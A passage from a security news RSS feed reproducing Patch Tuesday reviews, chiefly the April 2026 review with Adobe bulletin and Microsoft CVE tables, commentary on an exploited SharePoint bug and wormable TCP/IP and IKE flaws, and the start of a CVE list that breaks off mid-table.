machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
